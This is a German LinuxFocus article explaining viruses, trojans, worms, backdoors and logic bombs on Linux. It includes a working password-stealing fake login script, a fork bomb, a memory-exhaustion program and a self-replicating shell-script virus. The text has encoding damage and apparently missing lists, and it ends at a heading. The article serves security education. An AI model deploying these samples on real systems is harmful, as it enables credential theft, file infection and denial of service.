Viren: sie gehen uns alle an

ArticleCategory:

System Administration

AuthorImage:

Christophe Blaess

TranslationInfo:[Author and translation history]

original in fr Christophe Blaess

 

fr to en Georges Tarbouriech  

en to de Katja Socher

AboutTheAuthor

Christophe Blaess ist selbst�ndiger Aeronautik-Ingenieur. Er ist Linuxfan und erledigt einen gro�en Teil seiner Arbeit auf diesem System. Er koordiniert die �bersetzung der Man-Seiten, die vom Linux Documentation Project herausgegeben werden.

Abstract:

Dieser Artikel ist zuerst in einer Linux Magazine France Spezialausgabe mit Schwerpunkt Sicherheit erschienen. Der Editor, die Autoren und die �bersetzer erlaubten LinuxFocus netter Weise, jeden Artikel dieser Spezialausgabe ver�ffentlichen zu d�rfen. Deshalb wird LinuxFocus sie euch bringen, sobald sie ins Englische �bersetzt sind. Dank an alle an dieser Arbeit beteiligten Leute. Dieser Absatz wird f�r jeden Artikel mit gleichem Ursprung wiederholt werden.

ArticleIllustration:

virus

ArticleBody:[The article body]

Pr�ambel

Dieser Artikel betrachtet interne Sicherheitsprobleme, die auf Linuxsystemen wegen aggressiver Software vorkommen k�nnen. Solche Software kann ohne menschliches Dazutun Schaden anrichten: Viren, W�rmer, Trojanischc Pferde etc. Wir werden tief auf die verschiedenen Verwundbarkeiten eingehen und auf die Vor- und Nachteile von freier Software in dieser Beziehung bestehen.

Einf�hrung

Es gibt haupts�chlich vier Typen von verschiedenen Bedrohungen, was f�r den Benutzer verwirrend sein kann, besonders da es oft vorkommt, da� ein Angriff von mehreren Mechanismen abh�ngt:

Sie zu klassifizieren ist nicht immer so leicht, z.B. gibt es Programme, die von einigen Beobachtern als Viren betrachtet werden und von anderen als W�rmer, was eine abschlie�ende Entscheidung recht kompliziert macht. Dies ist nicht sehr wichtig, wenn man die Reichweite dieses Artikels betrachtet, der klarstellen soll, welche Gefahren ein Linuxsystem bedrohen.

Entgegen allgemeinem Glauben existieren diese vier Plagen bereits unter Linux. Nat�rlich finden Viren eine weniger vorteilhafte Umgebung, um sich zu vermehren als z.B. unter DOS, aber die gegenw�rtige Gefahr sollte nicht vernachl�ssigt werden. La�t uns analysieren, was die Risiken sind.

Die potentiellen Gefahren

Viren

Ein Virus ist ein St�ck Code, der in das Herz eines host Programms installiert ist und in der Lage ist, sich selbst zu duplizieren durch Infizieren einer neuen ausf�hrbaren Datei. Viren wurden in den siebziger Jahren geboren, als die Programmierer dieser Zeit ein Spiel namens "core war"spielten. Dieses Spiel kommt von den Bell AT&T laboratories [MARSDEN 00]. Das Ziel des Spiels war es, parallel, innerhalb eines begrenzten Memorybereichs kleine Programme laufen zu lassen, die sich gegenseitig zerst�ren konnten. Das Betriebssystem enthielt keinen Schutz zwischen den Memorybereichen der Programme und erlaubte auf diese Weise eine allm�hliche Aggression mit dem Ziel, den Wettbewerber auszuschalten. Um dies zu erreichen, "bombardierten" einige den gr��tm�glichen Memorybereich mit '0', w�hrend andere sich permanent im Adressraum bewegten in der Hoffnung, dadurch den Code des Widersachers zu �berschreiben und manchmal kooperierten sich einige von ihnen, um einen schwierigen "Feind" auszuschalten.

Die implementierten Algorithmen f�r das Spiel wurden in eine Assemblersprache, die speziell hierf�r erschaffen worden war, �bersetzt, den "red code", der durch einen Emulator, der auf den meisten existierenden Maschinen verf�gbar war, ausgef�hrt wurde. Das Spielinteresse war mehr wissenschaftliche Neugier, wie z.B. die Begeisterung gegen�ber dem Life of Conway Game, den Fraktalen, genetischen Algorithmen, etc.

Jedoch, folgt man Artikeln, die den core war betreffen, ver�ffentlicht in Scientific American [DEWDNEY 84], dann mu�te das Unvermeidbare passieren und einige Leute begannen St�cke von selbstwiederholendem Code speziell f�r den Bootsektor von Disketten oder ausf�hrbaren Dateien zu schreiben, zuerst auf Apple Computern und dann auf MacIntosh und PCs.

Das MS DOS Betriebssystem war die Wunschumgebung f�r die Vermehrung von Viren: statische ausf�hrbare Dateien mit einem gut bekannten Format, kein Memoryschutz, keine Sicherheit f�r Dateizugriffsrechte, weite Nutzung von TSR resistenten Programmen aufgestapelt im Speicher, etc. Dazu kommt der Erfahrungsstand der Benutzer, die wild Programme auf Disketten austauschten, ohne sich um den Ursprung der Dateien zu k�mmern.

In seiner einfachsten Form ist ein Virus ein kleines St�ck Code, das als ein Extra ausgef�hrt wird, wenn eine Applikation gestartet wird. Er nutzt seine Rechenzeit, um nach anderen ausf�hrbaren Dateien, die noch nicht infiziert sind, Ausschau zu halten, nistet sich dort ein (vorzugsweise bleibt das urspr�ngliche Programm zur gr��eren Diskretion unver�ndert) und beendet sich. Beim Start der neuen ausf�hrbaren Datei startet der Proze� erneut.

Viren k�nnen von einer gro�en Menge an "Waffen" profitieren, um sich selbst zu vermehren. In [LUDWIG 91] und [LUDWIG 93] gibt es eine detaillierte Beschreibung von Viren f�r DOS, unter Benutzung von hochentwickelten Methoden. Methoden, um sich zu verstecken, um von aktuellen Antivirensoftware nicht erkannt zu werden: Zufallsverschl�sselung, permanentes Ver�ndern von Code, etc. Es ist sogar m�glich, Viren zu treffen, die genetische Algorithmen benutzen, um ihre �berlebens- und Reproduktionsm�glichkeiten zu optimieren. �hnliche Informationen k�nnen in einem sehr ber�hmten Artikel gefunden werden: [SPAFFORD 94].

Aber wir m�ssen im Kopf behalten, da� �ber das Thema von Experimenten mit k�nstlichem Leben in Form des Computervirus gro�en Schaden anrichten kann. Das Prinzip der mehrfachen Wiederholung eines St�ckes Code ist nur eine Verschwendung von Platz (Platten und Speicher), aber Viren werden benutzt als ein Transportmittel f�r andere, viel ungef�lligere Dinge: die logischen Bomben (logical bombs), die wir auch wieder in Trojanischen Pferden wiederfinden.

Trojanische Pferde und logische Bomben

Timeo Danaos et dona ferentes - Ich f�rchte die Griechen, auch wenn sie ein Geschenk machen. (Virgile, the Aeneid, II, 49).

Die belagerten Trojaner hatten die dumme Idee, eine gro�e h�lzerne Statue, die ein Pferd darstellte, in ihre Stadt zu lassen, die von den griechischen Angreifern als religi�se Gabe zur�ckgelassen worden war. Das trojanische Pferd verbarg in seiner Seite ein echtes Kommando, dessen Mitglieder, einmal eingedrungen, den Schutz der der Nacht nutzten, um die Stadt von innen anzugreifen und erm�glichten auf diese Weise den Griechen, den Trojanischen Krieg zu gewinnen.

Der ber�hmte Term "Trojanisches Pferd" wird oft im Computersicherheitsfeld benutzt, um eine a priori harmlose Applikation zu bestimmen, wie die oben erw�hnten Viren, die einen zerst�rerischen Code, genannt logische Bombe, verbreitet.

Eine logische Bombe ist ein Programmteil, der absichtlich sch�digend ist und sehr verschiedene Wirkungen hat:

In einigen F�llen kann die logische Bombe f�r ein spezielles Zielsystem geschrieben sein, auf dem es versuchen wird, vertrauliche Daten zu stehlen, besondere Dateien zu zerst�ren oder einen Benutzer in Mi�kredit zu bringen durch Annehmen seiner Identit�t. Dieselbe Bombe ist auf einem anderen System ausgef�hrt, harmlos.

Die logische Bombe kann auch versuchen, das System, in dem sie liegt, physisch zu zerst�ren. Diese M�glichkeiten sind eher begrenzt, aber sie existieren (L�schen des CMOS Memory, �nderung im modem flash memory, zerst�rerische Bewegungen auf Drucker-, Plotter-, Scannerk�pfen, beschleunigte Bewegung beim Lesen von Festplattenk�pfen...)

Um mit der "explosiven" Metapher weiterzumachen, kann man sagen, da� eine logische Bombe einen Detonator braucht, um aktiviert zu werden. Es ist eine Tatsache, da� das Laufenlassen zerst�rerischer Aktionen von einem Trojanischen Pferd oder Virus beim ersten Start eine schlechte Taktik ist, was die Effizienz angeht. Nach der Installation der logischen Bombe ist es f�r sie besser, zu warten, bevor sie explodiert. Dies erh�ht die "Chancen", andere Systeme zu erreichen, wenn es um Viren�bertragung geht und wenn es um Trojanishce Pferde geht, h�lt es den Benutzer davon ab, zu leicht die Verbindung zwischen der neuen Anwendungsinstallation und dem merkw�rdigen Verhalten dieser Maschine zu ziehen.

Wie bei jeder sch�dliche Aktion, kann der Ausl�semechanismus variieren: zehn Tage Verz�gerung nach der Installation, Entfernen eines gegebenen Benutzeraccounts (K�ndigung), Tastatur und Maus inaktiv f�r 30 Minuten, hohe Auslastung in der Druckerwarteschlange... es gibt keinen Mangel an M�glichkeiten! Die ber�hmtesten Trojanischen Pferde sind die Bildschirmschoner, auch wenn sie heute ein bi�chen abgedroschen sind. Hinter einem attraktiven Aussehen sind diese Programme in der Lage, Schaden anzurichten, ohne gest�rt zu werden, besonders, wenn die logische Bombe erst nach einer Stunde aktiviert wird, was beinahe sicherstellt, da� der Benutzer nicht mehr vor seinem Rechner ist.

Ein weiteres ber�hmtes Beispiel eines Trojanischen Pferdes ist das folgende Skript, das einen login/password Bildschirm anzeigt, der die Informationen an die Person, die es gestartet hat, sendet und sich beendet. Wenn es auf einem unbenutzten Terminal l�uft, erlaubt dieses Skript das Einfangen des Pa�wortes des n�chsten Benutzers, der versucht, sich einzuloggen.

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

Um die Verbindung zu beenden, wenn es fertig ist, mu� es mit dem exec shell Befehl gestartet werden. Das Opfer denkt, es hat einen Tippfehler gemacht, wenn es die "Login incorrect" Meldung sieht und loggt sich nochmal auf dem normalen Weg ein. Weiter fortgeschrittene Versionen sind in der Lage, den X11 Einlogdialog zu simulieren. Um diese Art von Falle zu vermeiden, ist es gut, zuerst ein falsches login/password zu benutzen, wenn man an ein Terminal kommt (dies ist ein Reflex, den man leicht und schnell lernt).

W�rmer

Und Paul fand sich auf dem Wurm, frohlockend, wie ein Kaiser, der das Universum beherrscht. (F. Herbert "Dune")

"W�rmer" stammen aus demselben Prinzip wie Viren. Sie sind Programme, die versuchen, sich zu vermehren, um die maximale Verbreitung zu erreichen. Auch wenn es nicht ihr Hauptfeature ist, k�nnen auch sie logische Bomben mit einem verz�gerten Ausl�ser enthalten. Die Unterscheidung zwischen W�rmern und Viren r�hrt aus der Tatsache, da� W�rmer kein host Programm als Transportmittel benutzen, sondern stattdessen versuchen sie von den F�higkeiten, die von Netzwerken bereitgestellt werden, Nutzen zu ziehen, wie Email, um sich von Maschine zu Maschine zu verbreiten.

W�rmern sind technische anspruchvoller als Viren, sie nutzen die Verwundbarkeiten von Software, die von Netzwerkdiensten bereitgestellt werden, um ihre Selbstduplizierung auf einer entfernten Maschine zu erzwingen. Geschichte gemacht hat 1988 der "Internet Worm".

Der Internet Worm ist ein Beispiel eines reinen Wurms, der keine logische Bombe enthielt, trotzdem war seine unfreiwillige zerst�rerische Wirkung be�ngstigend. Man kann eine kurze, aber genaue Beschreibung in [KEHOE 92] finden oder eine detaillierte Analyse in [SPAFFORD 88] oder [EICHIN 89]. Es gibt auch eine weniger technische, aber aufregendere Erkl�rung in [STOLL 89] (die der Cuckoo Egg Saga folgt), wo die Raserei der Teams, die diesen Wurm bek�mpften nach der Panik der Administratoren, deren Systeme betroffen waren, kam.

Kurz, dieser Wurm war ein Programm, das von Robert Morris Jr, Student an der Cornell Universit�t, bereits bekannt durch einen Artikel �ber Sicherheitsprobleme in Netzwerkprotokollen [MORRIS 85] geschrieben wurde. Er war der Sohn von einem Mann, der die Verantwortung f�r die Computersicherheit der NCSC, einem Zweig der NSA, trug. Das Programm wurde am sp�ten Nachmittag des 2.November 1988 gestartet und stoppte die meisten Systeme, die mit dem Internet verbunden waren. Es lief in mehreren Schritten:

  1. War ein Computer einmal infiltriert, versuchte der Wurm sich im Netzwerk zu verbreiten. Um Adressen zu bekommen, las er Systemdateien und rief utilities wie netstat, das Informationen �ber Netzwerkschnittstellen liefert, auf.
  2. Als n�chstes versuchte es, in Benutzeraccounts zu kommen. Hierf�r verglich es den Inhalt eines W�rterbuchs mit der Pa�wortdatei. Auch probierte er Kombinationen des Benutzernamens (r�ckw�rts, wiederholt etc.) aus, um an das Pa�wort zu gelangen. Dieser Schritt hing von der ersten Verwundbarkeit ab: verschl�sselte Pa�w�rter in einer lesbaren Datei (/etc/passwd), und profitierte so von der schlechten Auswahl einiger Benutzerpa�w�rter. Diese erste Verwundbarkeit wurde inzwischen durch die Benutzung von shadow passwords gel�st.
  3. Wenn es erfolgreich war im Eindringen in die Benutzeraccounts, versuchte der Wurm Maschinen zu finden, die direkten Zugriff ohne Identifikation lieferten, d.h. ~/.rhost, und /etc/hosts.equiv Dateien benutzten. In diesem Fall benutzte es rsh, um Anweisungen auf der entfernten Maschine auszuf�hren. Auf diese Weise war es in der Lage, sich selbst auf den neuen Host zu kopieren und der Zyklus startete von neuem.
  4. Ansonsten wurde eine zweite Verwundbarkeit benutzt, um in eine andere Maschine zu gelangen: fingerd buffer overflow exploit. (Siehe unsere Serie �ber sicheres Programmieren : Vermeiden von Sicherheitsl�chern beim Entwickeln einer Applikation - Teil 1, Vermeiden von Sicherheitsl�chern beim Entwickeln einer Applikation - Teil 2: memory, stack und Funktionen, shellcode, Vermeiden von Sicherheitsl�chern beim Entwickeln einer Applikation - Teil 3: buffer overflows.)
    Dieser Bug erlaubte das Ausf�hren von Code. Dann war der Wurm in der Lage, sich selbst auf das neue System zu kopieren und erneut zu starten. Tats�chlich lief dies nur auf einigen Prozessortypen.
  5. Zuletzt wurde eine dritte Verwundbarkeit genutzt: eine Debugeroption, per default innerhalb des sendmail daemon aktiviert, erlaubte es Mail zur Standardeingabe des Programms, gekennzeichnet als Ziel, zu �bermitteln. Diese Option sollte niemals auf Produktionsmaschinen aktiviert sein, aber leider ignorierten die meisten Administratoren ihre Existenz.

Zu beachten ist, da� das Verfahren Anweisungen auf einer anderen Maschine auszuf�hren eher komplex war. Es erforderte die �bertragung eines kleinen C Programms, das dort rekompiliert und gestartet wurde. Dann baute es eine TCP/IP Verbindung zu dem gestarteten Computer auf und bekam alle Wurmbinaries zur�ck. Diese letzten, vorkompiliert, existierten f�r mehrere Architekturen (Vax und Sun), und wurden eine nach der anderen getestet. Au�erdem war der Wurm sehr clever beim Verstecken. Er versuchte kaum Spuren zu hinterlassen.

Leider funktionierte der Mechanismus, der Verhindern sollte, da� ein Computer mehrere Mal infiziert wurde nicht wie erwartet und der sch�dliche Aspekt von Internet 88 worm, der keine logische Bombe enthielt, zeigte sich in einer gro�en �berlastung der betroffenen Systeme (besonders durch ein Blockieren von Email, was eine Verz�gerung beim Austausch von L�sungen zwischen den Systemadministratoren verursachte).

Der Autor des Wurms wanderte f�r einige Zeit ins Gef�ngnis.

W�rmer sind relativ selten wegen ihrer Komplexit�t. Sie d�rfen nicht mit einem anderen Gafahrentyp verwechselt werden, der Viren als Attachments zu Emails �bertr�gt so wie der ber�hmte "ILoveYou". Diese sind sehr einfach, da es Macros sind, die (in Basic) f�r Office-Programme geschreiben wurden, die automatisch gestartet werden, wenn die Email gelesen wird. Dies l�uft nur auf einigen Betriebssystemen, wenn das Emailprogramm auf zu simple Weise konfiguriert wurde. Diese Programme sind vergleichbar mit Trojanischen Pferden, da sie eine Aktion des Benutzers erfordern, um gestartet zu werden.

Hintert�ren (Backdoors)

Hintert�ren k�nnen mit Trojanischen Pferden verglichen werden, aber sie sind nicht identisch. Eine Hintert�r erlaubt einem ("fortgeschrittenen") Bentuzer, die Software zu manipluieren. Sie k�nnen mit den Betr�gercodes verglichen werden, die in Spielen benutzt werden, um mehr Ressourcen zu bekommen, einen h�heren Level zu erreichen etc. Aber dies gilt auch f�r kritische Applikationen wie Authentifizierung oder Email, da sie versteckten Zugang mit einem Pa�wort, das nur dem Softwareerzeuger bekannt ist, bieten k�nnen.

Programmierer, die die Debuggingphase erleichtern wollen, lassen oft eine kleine T�r offen, um die Software benutzen zu k�nnen, ohne durch den Autentifikationsmechaismus gehen zu m�ssen, selbst wenn die Applikation auf der Kundenseite installiert ist. Manchaml sind es offizielle Zugangsmechanismen, die Standardpa�w�rter benutzen(system, admin, superuser, etc), aber nicht gut dokumentiert sind, was Adminsiratoren dazu f�hrt, sie aktiviert zu lassen.

Erinnere dich an die verschiedenen versteckten Zug�nge, die es erlaubten, mit dem System in dem Film "Wargame" zu kommunizieren, aber man kann auch fr�here Berichte �ber solche Praktiken finden. In einem ungluablichen Artikel [THOMPSON 84], beschreibt Ken Thompson, einer der Unixv�ter, einen versteckten Zugang, den er vor Jahren auf Unixsystemen implementierte:

Was kann man dagegen tun ? Nun, nichts! Der einzige Weg w�re, mit einem brandneuen System zu starten. Au�er wenn man seine Maschine von Anfang an selbst erzeugt mit dem gesamten Microcode, dem Betriebssystem, den Compilern, den Utilities, kann man nicht sicher sein, da� jede Applikation sauber ist, auch wenn der Quellcode verf�gbar ist.

Und, was ist mit Linux ?

Wir haben die Hauptrisiken f�r jedes System dargestellt. La�t uns jetzt die Gefahren, die freie Software und Linux betreffen, anschauen.

Logische Bomben

La�t uns zuerst die Sch�den anschauen, die eine logische Bombe verursachen kann, wenn sie auf einer Linuxksite ausgef�hrt wird. Natr�lich variiert dies abh�ngig von der gew�nschten Wirkung und den Privilegien der Benutzeridentit�t, die es startet.

Soweit Systemdateizerst�rung oder das Lesen von vertraulichen Daten betroffen ist, k�nnen wir zwei F�lle haben. Wenn die Bombe sich unter der root Identit�t ausf�hrt, hat es die gesamte Macht �ber die Maschine, einschlie�lich der L�schung jeder Partition und die eventuellen Gefahren f�r die Hardware, die oben erw�hnt wurden. Wenn es unter einer anderen Identit�t gestartet wird, kann es nicht zerst�rerischer sein als ein Benutzer ohne Privilegien sein kann. Es zerst�rt nur Daten, die zu diesem Bentuzer geh�ren. In diesem Fall ist jeder f�r seine eigenen Dateien verantwortlich. Ein gewissenhafter Systemadministrator macht nur wenige Dinge w�hrend er als root eingeloggt ist, was die Wahrschienlichkeit, eine logische Bombe unter diesem Account zu starten, reduziert.

Das Linuxsystem ist eher gut beim Schutz von privaten Daten und Hardwarezugang, es ist aber empfindsam f�r Attacken, die darauf abzielen, es lahmzulegen durch Benutzen vieler Ressourcen. Zum Beispiel ist das folgende C Programm schwer zu stoppen, auch wenn es als normaler Benutzer gestartet wurde, da, wenn die Anzahl der Prozesse per Benutzer nicht begrenzt ist, es jeden vef�gbaren Eintrag aus der Prozessortabelle benutzt und jede Verbindung verhindert, die versucht, es zu t�ten:

  #include <signal.h>
  #include <unistd.h>
 
int main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
} 

Die Begrenzungen, die man f�r Benutzer (mit dem setrlimit() Systemaufruf und der Shellfunktion ulimit function) setzen kann, erlaubt es, das Leben eines solchen Programms zu verk�rzen, aber sie wirken erst nach einiger Zeit, w�hrend der das System nicht erreichbar ist.

In derselben Verbindung benutzt ein Programm wie das folgende allen verf�gbaren Speicher und l�uft in einer Schleife, wobei es die CPU Zyklen auffri�t, so da� es f�r die anderen Prozesse sehr st�rend ist:

  #include <stdlib.h>
 
  #define LG      1024
 
int main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

Normalerweise wird dieses Programm automatisch von den virtuellen Speicherverwaltungsmechanismen der neuesten Kernelversionen get�tet. Aber davor kann der Kernel andere Applikationen t�ten, die viel Speicher erfordern (X11 Applikationen zum Beispiel). Au�erdem bekommen alle anderen Prozesse, die Speicher ben�tigen, diesen nicht, was oft zu ihrer Beendigung f�hrt.

Netzwerkfeatures durcheinanderzubringen ist auch eher einfach durch �berladen der korrespondierenden Ports mit kontinuierlichen Verbindungsanfragen. L�sungen zur Vermeidung existieren, aber sie sind nicht immer von den Adminsitratoren implementiert. Wir k�nnen f�r Linux sagen, da�, auch wenn eine logische Bombe, die von einem normalen Benutzer gestartet wird, system Dateien, die ihm nicht geh�ren, nicht zerst�ren kann, sie trotzdem sehr st�rend sein kann. Es reicht, ein paar wenige fork(), malloc() und connect() zu kombinieren, um das System und die Netzwerkdienste stark zu belasten.

Viren

Subject: Unix Virus

YOU RECEIVED AN UNIX VIRUS

This virus works according to a cooperative principle:

If you use Linux or Unix, please forward this mail to your
friends and randomly destroy a few files of your system.

Trotz einer weitverbreiteten Meinung, k�nnen Viren unter Linux eine Bedrohung sein. Mehrere existieren. Was stimmt, ist, da� ein Virus unter Linux keinen N�hrboden zur Verbreitung findet. La�t uns zun�chst die Phase der Infizierung eines Rechners betrachten. Der Virencode mu� dort ausgef�hrt werden. Dies bedeutet, eine korrupte ausf�hrbare Datei wurde von einem anderen System kopiert. In der Linuxwelt ist die �bliche Praxis jemandem eine Applikation zu schicken, ihm einen URL zu geben, wo er die Software finden kann, statt ihm ausf�hrbare Dateien zu schicken. Dies bedeutet, da� der Virus von einer offiziellen Seite kommt, wo er schnell entdeckt wird. Ist eine Maschine einmal infiziert, sollet sie, um sie in die Lage zu versetzen, den Virus zu verbreiten, als Verteilungsplattform f�r vorkompilierte Applikationen benutzt werden, was eher selten vorkommt. Daher ist eine ausf�hrbare Datei kein gutes Transportmedium f�r eine logische Bombe in der Welt freier Software.

Was die Verbreitung innerhalb einer Maschine angeht, so kann sich die korrupte Applikation nat�rlich nur zu Dateien verbreiten, f�r die der Benutzer, der sie laufen hat, Schreibrechte besitzt. Der weise Administrator, der nur als root arbeitet bei Operationen, die wirklich Privilegien erfordern, wird wahrscheinlich eine neue Software nicht laufen lassen, wenn er unter dieser Identit�t eingeloggt ist. Au�er von der Installation einer Set-UID root Applikation, die mit einem Virus infiziert ist, ist das Risiko dann recht reduziert. Wenn ein normaler Benutzer ein infiziertes Programm laufen l��t, wird der Virus nur auf den Dateien, die dem Benutzer geh�ren, handeln, was eine Verbreitung zu den Systemutilities verhindert.

Wenn Viren lange Zeit unter Unix eine Utopie dargestellt haben, dann liegt das auch an der Vielfalt an Prozessoren ( Assemblersprachen) und Bibliotheken (Objektreferenzen), die die Reichweite f�r vorkompilierten Code begrenzten. Heute stimmt das nicht mehr so und ein Virus, der f�r LINUX ELF Dateien kompiliert ist mit i386 Prozessor GlibC 2.1, w�rde eine Menge Ziele finden. Au�derdem k�nnte ein Virus in einer Sprache geschreiben werden, die nicht von dem Host, der ihn ausf�hrt, abh�ngig ist. Zum Beispiel ist hier ein Virus f�r Shellskripte. Es versucht, in jedes gefundene Shellskript in dem Verzeichnis, in dem es gestartet wurde, zu gelangen. Um zu vermeiden, da� dasselbe Skript mehr als einmal infiziert wird, ignoriert der Virus die Dateien, in denen die zweite Zeile mit den Kommentar "infected" (infiziert) oder "vaccinated" (geimpft) ist.

#! /bin/sh
# infected
 
( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
  exec < $fic
  # Let's try to read a first line,
  if  ! read line ; then
          continue
  fi
  # and let's check it is a shell script.
  if [ "$line" != "#!/bin/sh" ]&&[ "$line" != "#! /bin/sh" ];then
          continue
  fi
  # Let's read a second line.
  if ! read line ; then
          continue
  fi
  # Is the file already infected or vaccinated ?
  if [ "$line" == "# vaccinated" ]||[ "$line" == "# infected" ];then
          continue
  fi
  # Otherwise we infect it: copy the virus body,
  head -33 $0 > $tmp_fic
  # and the original file.
  cat $fic >> $tmp_fic
  # Overwrite the original file.
  cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

Der Virus k�mmert sich nicht darum, sich oder seine Aktionen zu verstecken, au�er da� er sich im Hintergrund ausf�hrt, w�hrend er das Originalskript seinen normalen Job tut. Nat�rlich l��t man dieses Programm nicht als root laufen! Besonders, wenn man find . durch find / ersetzt. Trotz der Einfachheit dieses Programms, ist es ganz einfach, seine Kontrolle zu verlieren, besonders, wenn das System viele angepa�te Shellskripte enth�lt.

Tabelle 1 enth�lt Informationen �ber gut bekannte Viren unter Linux. Alle von ihnen infizierten ELF Dateien, durch Einf�gen ihres Codes nach dem Dateiheader und zur�ckschieben des Rests des Originalcodes. Wenn nichts anderes gesagt wird, suchen sie potentielle Ziele in den Systemverzeichnissen. Aus dieser Tabelle kannst du ersehen, da� Viren unter Linux keine Annekdoten sind, wenn auch nicht zu alarmierend, meistens weil bisher die Viren harmlos sind.

Tabelle 1 - Viren unter Linux
Name Logische Bomben Bemerkungen
Bliss scheinbar inaktiv automatische Desinfektio der ausf�hrbaren Datei, wenn es mit der Option --bliss-disinfect-files-please aufgerufen wird
Diesel keine  
Kagob keine benutzt eine tempor�re Datei, um das infizierte Originalprogramm auszuf�hren
Satyr keine  
Vit4096 keine infiziert nur Dateien im aktuellen Verzeichnis.
Winter keine Der Virsucode ist 341 bytes. Infiziert nur Dateien im aktuellen Verzeichnis.
Winux keine Der Virus enth�lt zwei verschiedene Codes und kann sowohl Windows Dateien als auch Elf Linux Dateien infizieren. Er ist jedoch nicht in der Lage, andere Partitionen zu erkunden als die, wo er gespeichert ist, was die Verbreitung verringert.
ZipWorm f�gt einen "troll" text �ber Linux und Windows in die Zipdateien, die er findet, ein. ("troll"= eine Art Gnom in der schwedischen Mythologie)  

Du wirst bemerken, da� der "Winux" Virus in der Lage ist, sich unter Windows oder auch Linux zu verbreiten. Es ist ein harmloser Virus und eher ein Beweis von M�glichkeiten als eine wirkliche Gefahr. Jedoch l�uft einem ein Schauer �ber den Nacken, wenn man sich vorstellt, da� solch ein Endringling von einer Partition zur anderen springen k�nnte, einfallen in heterogene Newtzwerke durch Benutzen von Sambaservern etc. Entfernen w�re schwer, da die erforderlichen Werkzeuge f�r beide Systeme auf einmal verf�gbar sein m��ten. Es ist wichtig zu bemerken, da� der Schutzmechanismus von Linux, die einen Virus, der unter einer normalen Benutzeridentit�t l�uft, daran hindern, Systemdateien zu infizieren, nicht mehr verf�gbar ist, wenn auf die Partition von einem Virus zugegriffen wird, der unter Windows l�uft.

La�t uns auf diesem Punkt bestehen: jede Vorsicht der Administration, die man unter Linux trifft, wird unwirksam, wenn man seine Maschine von einer Windowspartition rebootet, die einen eventuellen multi-platform Virus "beherbergt". Es ist ein Problem f�r jede Maxchine, die dual-boot mit zwei Betriebssystemen benutzt; der allgemeine Schutz des ganzen h�ngt von den Sicherheitsmechanismen des schw�chsten Systems ab! Die einzige L�sung ist, den Zugriff auf Linuxpartitionen von jeder Windowsapplikation zu verhindern durch Benutzen eines verschl�sselten Dateisystems. Dies ist bisher noch nicht weit verbreitet und wir k�nnen wetten, da� Viren, die ungemountete Partitionen attakieren, bald eine bedeutende Gefahr f�r Linuxmaschinen darstellen werden.

Trojanische Pferde

Trojanisch Pferde sind so angsteinfl�ssend wie Viren und die Leute scheinen sich ihrer mehr bewu�t zu sein. Anders als eine logische Bombe, die von einem Virus transportiert wird, wurde diejenige, die in einem Trojanischen Pferd gefunden wird, absichtlich von jemandem eingef�gt. In der freien Softwarewelt ist die Reichweite vom Autor eines St�ck Codes bis zum schlie�lichen Benutzer auf ein oder zwei Zwischenstufen (Personen) begrenzt (la�t uns sagen, jemand, der f�r das Projekt verantwortlich ist und jemand, der die Distribution erstellt und verschickt). Wenn ein Trojanisches Pferd entdeckt wird, ist es leicht, den "Schuldigen" zu finden.

Die freie Softwarewelt ist dadurch eher gut gesch�tzt gegen Trojansiche Pferde. Aber wir reden hier von freier Software wie wir sie heute kennen, mit verwalteten Projekten, empf�nglichen Entwicklern und Webseiten von Referenz. Dies ist weit entfernt von Shareware oder Freeware, die nur vorkompiliert zur Verf�gung steht und in einer anarchischen Weise von hunderten von Webseiten (oder CDs, ie mit Magazinen mitgeliefert werden) verteilt werden, wo der Autor nur durch eine Emailadresse bekannt ist, die leicht gef�lscht werden kann; dies ist ein wahrer Pferdestall von Trojansichen Pferden.

La�t uns bemerken, da� die Tatsache, den Quellcode einer Applikation zu haben und zu kompileiren, keine Garantie f�r Sicherheit ist. Zum Beispel kann eine sch�dliche logische Bombe in einem "configure" Skript (das, das w�hrend "./configure; make" aufgerufen wird) versteckt werden, was normlaerwesie an die 2000 Zeilen lang ist! Zuletzt, der Quellcode einer Applikation ist sauber und kompileirt; dies hindert nicht das Makefile vom Verstecken einer logischen Bombe, die sich selbst w�hrend des letzten "make install" aktiviert, was normalerweise als root gemacht wird!

Zuletzt, ein wichtiger Teil von Viren und Trojansichen Pferde, die unter Windows sch�dlich sind, sind Macros, die ausgef�hrt werden, wenn ein Dokument aufgesucht wird. Die Produktivit�tspakete unter Linux sind nicht in der Lage, diese Macros zu interpretieren, zumindest momentan, und der Benutzer bekommt schnell ein �bertriebenes Gef�hl von Sicheheit. Es wird eine Zeit kommen, wenn diese Werkzeuge in der Lage sein werden, die Basic macros, die in dem Dokument enthalten sind, auszuf�hren. Die Tatsache, da� Designer die schlechte Idee haben, diese Macros Befehle auf dem System laufen zu lassen, wird fr�her oder sp�ter geschehen. Sicher, wie bei Viren ist die zerst�rerische Wirkung durch die Benutzerprivilegien begrenzt, aber die Tatsache, nicht die Systemdateien verloren zu haben, die sowieso auf der Installations-CD noch vorhanden sind) ist nur ein schwacher Trost f�r einen Benutzer, der gerade alle seine Dokumente verloren hat, seine Quelldateien, seine Email, w�hrend sein letztes Backup einen Monat alt ist.

Um diesen Abschnitt �ber Trojanische Pferde, die in Daten enthalten sind, zu beenden, la�t uns anmerken, da� es immer einen Weg gibt, um den Benutzer zu �rgern. Auf dem Usenet kann man abundzu komprimeirte Dateien sehen, die sich in einen Haufen von Dateinen multiplizieren bis die Festplatte voll ist. Einige Postscriptdateien snd auch in der Lage, den Interpreter zu blockieren (ghostscript oder gv) durch Verschwenden von CPU Zeit. Sie sind nicht sch�dlich, aber der Benutzer verliert Zeit und sie sind �rgerlich.

W�rmer

